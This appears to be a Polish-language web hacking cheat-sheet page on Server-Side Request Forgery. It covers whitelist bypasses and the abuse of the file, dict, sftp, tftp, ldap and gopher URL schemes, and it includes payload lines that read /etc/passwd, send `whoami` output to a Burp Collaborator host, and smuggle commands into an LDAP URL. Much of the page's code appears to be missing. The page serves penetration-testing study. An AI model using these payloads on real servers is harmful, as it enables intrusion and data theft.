SSRF (Server Side Request Forgery)
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:
Podstawowe informacje
Podatność na Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wykonywała żądania HTTP do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.
Przechwytywanie SSRF
Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwycenia interakcji HTTP lub DNS możesz użyć narzędzi takich jak:
Burp Collaborator
https://github.com/dwisiswant0/ngocok - Burp Collaborator z użyciem ngrok
Ominięcie białej listy domen
Zazwyczaj okaże się, że SSRF działa tylko w określonych domenach lub adresach URL znajdujących się na białej liście. Na następnej stronie znajdziesz kompilację technik próbujących ominąć tę białą listę:
pageURL Format BypassOminięcie za pomocą przekierowania otwartego
Jeśli serwer jest odpowiednio zabezpieczony, możesz ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie przekierowywać żądania, możesz wykorzystać przekierowanie otwarte, aby zmusić serwer do uzyskania dostępu do dowolnego zasobu wewnętrznego. Czytaj więcej tutaj: https://portswigger.net/web-security/ssrf
Protokoły
file://
Schemat URL
file://
odnosi się bezpośrednio do/etc/passwd
:file:///etc/passwd
dict://
Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego danych uwierzytelniających:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Zidentyfikowany jako protokół do bezpiecznego transferu plików za pomocą secure shell, podano przykład, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP:
url=sftp://generic.com:11111/
TFTP://
Protokół Trivial File Transfer Protocol, działający w trybie UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET':
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacyjnych katalogów w sieciach IP. Komunikacja z serwerem LDAP na localhost:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Opisana jest metoda wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.
Curl URL globbing - bypass WAF
Jeśli SSRF jest wykonywane przez curl, curl posiada funkcję o nazwie URL globbing, która może być przydatna do ominięcia WAFów. Na przykład w tym opisie znajdziesz ten przykład przechodzenia ścieżek za pomocą protokołu
file
:
Gopher://
Omówiono zdolność protokołu Gopher do określania adresu IP, portu i bajtów do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia ładunków. Przedstawiono dwie różne zastosowania:
Gopher://
Korzystając z tego protokołu, możesz określić adres IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz wiedzieć, jak rozmawiać z usługą). Na szczęście możesz użyć Gopherus, aby tworzyć ładunki dla kilku usług. Dodatkowo, remote-method-guesser można użyć do tworzenia ładunków gopher dla usług Java RMI.
Gopher smtp
Gopher HTTP
Gopher SMTP — Połączenie z powrotem do 1337
Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i uprawnieniami=administrator
SSRF za pośrednictwem nagłówka Referrer i innych
Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, praktyka ta nieumyślnie narazia aplikacje na podatności na podrobienie żądania po stronie serwera (SSRF). Dzieje się tak dlatego, że takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy treści strony odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", wykorzystującej sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu zidentyfikowania potencjalnych powierzchni ataku SSRF.
SSRF za pośrednictwem danych SNI z certyfikatu
Konfiguracja błędu, która umożliwia połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:
W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Forgery żądania po stronie serwera (SSRF), którą można wykorzystać, po prostu określając pożądany adres IP lub nazwę domeny w polu SNI. Poniżej podano przykład wykorzystania, aby wymusić połączenie z dowolnym backendem, takim jak internal.host.com
, za pomocą polecenia openssl
:
SSRF z Wstrzyknięciem Poleceń
Warto spróbować użyć ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderowanie plików PDF
Jeśli strona internetowa automatycznie tworzy plik PDF z informacjami, które podałeś, możesz wstawić pewien JS, który zostanie wykonany przez sam kreatora PDF (serwer) podczas tworzenia pliku PDF i będziesz mógł wykorzystać SSRF. Znajdź więcej informacji tutaj.
Od SSRF do DoS
Utwórz kilka sesji i spróbuj pobrać ciężkie pliki wykorzystując SSRF z sesji.
Funkcje PHP SSRF
pagePHP SSRFSSRF Przekierowanie do Gophera
Dla niektórych eksploatacji możesz potrzebować wysłania odpowiedzi przekierowania (potencjalnie do użycia innego protokołu, takiego jak gopher). Tutaj masz różne kody Pythona do odpowiedzi z przekierowaniem:
Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:
Błędnie skonfigurowane serwery proxy podatne na SSRF
Sztuczki z tego posta.
Flask
Last updated